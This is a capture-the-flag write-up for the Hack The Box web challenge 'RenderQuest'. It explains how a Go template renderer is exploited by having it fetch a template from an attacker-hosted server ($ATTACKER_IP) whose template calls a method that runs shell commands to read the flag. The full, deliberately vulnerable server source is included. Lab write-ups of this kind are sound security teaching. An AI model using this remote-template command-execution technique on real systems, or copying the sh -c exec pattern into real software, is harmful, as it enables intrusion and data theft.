RenderQuest			
Organization: Hack The Box		Type: offline CTF	
Categories:	☐ Network Security ☐ Cryptography ☐ Mobile Applications	☐ Reverse Engineering ☑ Web Applications ☐ Forensics	Difficulty: Easy
Name: Kasper Verhulst		Release date:15-09-2023 Completing date:11-01-2024	

Challenge Description

You've found a website that lets you input remote templates for rendering. Your task is to exploit this system's vulnerabilities to access and retrieve a hidden flag. Good luck!

Analysis

The challenge consists of a Docker container in which a flag is mounted. The Docker container builds and runs a web application written in Golang. The web servers hosts three pages but the root directory is actually redirected to `/render?page=index.tpl`. Next, the `/static` path serves a directory of static css and javascript files. The Golang function *http.StripPrefix* makes it impossible to escape the static directory.

The really interesting path of the web application is `/render`. Furthermore, the application accepts two query parameters: *use_remote* which can be true or false and *page* that points to a template. For a request to the `/render` page, the web application gathers the client's User-Agent (from the HTTP header) and IP address (from a cookie). Based on the IP address, the web app fetches the geolocation details by calling a public API. All the information gathered is stored in a Golang struct called *RequestData*. Finally the application uses Golang HTML templates to render a HTML page on the server side. So for each request, the RequestData struct is created and then injected into the template provided by the *page* query parameter.

Local file inclusion by directory traversal

My first idea was to look for templates on the server (*use_remote* false) and try to escape the directory where templates are normally served. When *use_remote* is false, the Golang server executes the *readFile* function. I tried to submit a template in the *page* parameters that start with ../ and various encodings like %2e%2e%2f to exploit directory traversal. This was not successful however because the *readFile* function contains a check to verify the given template is actually a subdirectory of the directory that is hosting the templates.

Remote code execute by remote file inclusion

Since the local file inclusion was not successful, I tried to host a HTML Golang template on a remote server. This strategy was also hinted to by the challenge description. The *use_remote* parameters needs to be set to true and the *page* parameter needs to point to the web server hosting the template. You can start hosting a template on a local web server with:

```
python -m http.server 9393
```

Now force the web app to fetch your local template:

```
curl http://$TARGET:1337/render?page=http://$ATTACKER_IP:9393/template1.tpl&
    use_remote=true
```

when *use_remote* is true, the *readRemoteFile* function is executed and this function will perform an HTTP GET request to the url specified in the *page* parameter. Now the goal is to create a malicious HTML Golang template that can read the flag on the server.

We can see that the HTML page that is created is the provided template with an instance from the *RequestData* struct injected into it. This means in the Golang template we have access to all the fields in the *RequestData* struct and all the functions defined on *RequestData*. My first idea was to put a function like $ls - l/$ in the HTTP Header User-Agent. This value is available in the template as {{.*ClientUA*}}, but the command is returned as a string and not executed. At this point it is important to remember that not only the fields of the struct are available, but also the functions defined for that struct. We see that the *FetchServerInfo* function is a defined under RequestData and basically executes a provided command. Because the Docker entrypoint script shows the flag is mounted in the root directory with a random file name, we can first list: {{.*FetchServerInfo "ls /"* }} and afterwards we can find the flag by adding {{.*FetchServerInfo "cat /flag5d6be44601.txt"* }} to the template.

To solve the online challenge there was a final hurdle to overcome. The Golang container didn't seem to be able to connect to my locally hosted when server, even when connected to the VPN. Therefore, I needed to use a public online mock server like Beeceptor or Webhook Site.

A Golang Server Source

```
package main

import (
        "encoding/json"
        "fmt"
        "html/template"
        "io"
        "net/http"
        "os"
        "os/exec"
        "path/filepath"
        "strings"
)

const WEB_PORT = "1337"
const TEMPLATE_DIR = "./templates"

type LocationInfo struct {
        IpVersion     int     `json:"ipVersion"`
        IpAddress     string  `json:"ipAddress"`
        Latitude      float64 `json:"latitude"`
        Longitude     float64 `json:"longitude"`
        CountryName   string  `json:"countryName"`
        CountryCode   string  `json:"countryCode"`
        TimeZone      string  `json:"timeZone"`
        ZipCode       string  `json:"zipCode"`
        CityName      string  `json:"cityName"`
        RegionName    string  `json:"regionName"`
        Continent     string  `json:"continent"`
        ContinentCode string  `json:"continentCode"`
}

type MachineInfo struct {
        Hostname      string
        OS            string
        KernelVersion string
        Memory        string
}

type RequestData struct {
        ClientIP     string
        ClientUA     string
        ServerInfo   MachineInfo
        ClientIpInfo LocationInfo `json:"location"`
}

func (p RequestData) FetchServerInfo(command string) string {
        out, err := exec.Command("sh", "-c", command).Output()
        if err != nil {
```

```
                return ""
        }
        return string(out)
}

func (p RequestData) GetLocationInfo(endpointURL string) (*LocationInfo, error
    ) {
        resp, err := http.Get(endpointURL)
        if err != nil {
                return nil, err
        }

        defer resp.Body.Close()

        if resp.StatusCode != http.StatusOK {
                return nil, fmt.Errorf("HTTP request failed with status code:
                    %d", resp.StatusCode)
        }

        body, err := io.ReadAll(resp.Body)
        if err != nil {
                return nil, err
        }

        var locationInfo LocationInfo
        if err := json.Unmarshal(body, &locationInfo); err != nil {
                return nil, err
        }

        return &locationInfo, nil
}

func isSubdirectory(basePath, path string) bool {
        rel, err := filepath.Rel(basePath, path)
        if err != nil {
                return false
        }
        //fmt.Println("shouldn't start with ../", rel)
        return !strings.HasPrefix(rel, ".."+string(filepath.Separator))
}

func readFile(filepath string, basePath string) (string, error) {
        //fmt.Println("filepath:" + filepath)
        if !isSubdirectory(basePath, filepath) {
                //fmt.Println("invalid path")
                return "", fmt.Errorf("Invalid filepath")
        }
        //fmt.Println("read this file:" + filepath)
        data, err := os.ReadFile(filepath)
        if err != nil {
                fmt.Println("error reading file")
```

```
                fmt.Println(err)
                return "", err
        }
        return string(data), nil
}

func readRemoteFile(url string) (string, error) {
        fmt.Println(url)
        response, err := http.Get(url)
        if err != nil {
                fmt.Println(err)
                return "", err
        }

        defer response.Body.Close()

        if response.StatusCode != http.StatusOK {
                return "", fmt.Errorf("HTTP request failed with status code: %
                    d", response.StatusCode)
        }

        content, err := io.ReadAll(response.Body)
        if err != nil {
                return "", err
        }

        return string(content), nil
}

func getIndex(w http.ResponseWriter, r *http.Request) {
        http.Redirect(w, r, "/render?page=index.tpl", http.
            StatusMovedPermanently)
}

func getTpl(w http.ResponseWriter, r *http.Request) {
        var page string = r.URL.Query().Get("page")
        var remote string = r.URL.Query().Get("use_remote")

        if page == "" {
                http.Error(w, "Missing required parameters", http.
                    StatusBadRequest)
                return
        }

        reqData := &RequestData{}

        userIPCookie, err := r.Cookie("user_ip")
        clientIP := ""

        if err == nil {
                clientIP = userIPCookie.Value
```

```
} else {
        clientIP = strings.Split(r.RemoteAddr, ":")[0]
}

userAgent := r.Header.Get("User-Agent")

locationInfo, err := reqData.GetLocationInfo("https://freeipapi.com/
    api/json/" + clientIP)

if err != nil {
        fmt.Println(err)
        http.Error(w, "Could not fetch IP location info", http.
            StatusInternalServerError)
        return
}

reqData.ClientIP = clientIP
reqData.ClientUA = userAgent
reqData.ClientIpInfo = *locationInfo
reqData.ServerInfo.Hostname = reqData.FetchServerInfo("hostname")
reqData.ServerInfo.OS = reqData.FetchServerInfo("cat /etc/os-release |
    grep PRETTY_NAME | cut -d '\"' -f 2")
reqData.ServerInfo.KernelVersion = reqData.FetchServerInfo("uname -r")
reqData.ServerInfo.Memory = reqData.FetchServerInfo("free -h | awk '/^
    Mem/{print $2}'")

var tmplFile string

if remote == "true" {
        fmt.Println("true")
        tmplFile, err = readRemoteFile(page)

        if err != nil {
                http.Error(w, "Internal Server Error", http.
                    StatusInternalServerError)
                return
        }
} else {
        //fmt.Println("local:" + page)
        tmplFile, err = readFile(TEMPLATE_DIR+"/"+page, "./")
        //fmt.Println("template content:" + tmplFile)
        if err != nil {
                http.Error(w, "Internal Server Error", http.
                    StatusInternalServerError)
                return
        }
}

tmpl, err := template.New("page").Parse(tmplFile)
if err != nil {
        http.Error(w, "Internal Server Error", http.
```

```
                StatusInternalServerError)
            return
        }

        err = tmpl.Execute(w, reqData)
        if err != nil {
            http.Error(w, "Internal Server Error", http.
                StatusInternalServerError)
            return
        }
}

func main() {
        mux := http.NewServeMux()

        mux.HandleFunc("/", getIndex)
        mux.HandleFunc("/render", getTpl)
        mux.Handle("/static/", http.StripPrefix("/static/", http.FileServer(
            http.Dir("static"))))

        fmt.Println("Server started at port " + WEB_PORT)
        http.ListenAndServe(":"+WEB_PORT, mux)
}
```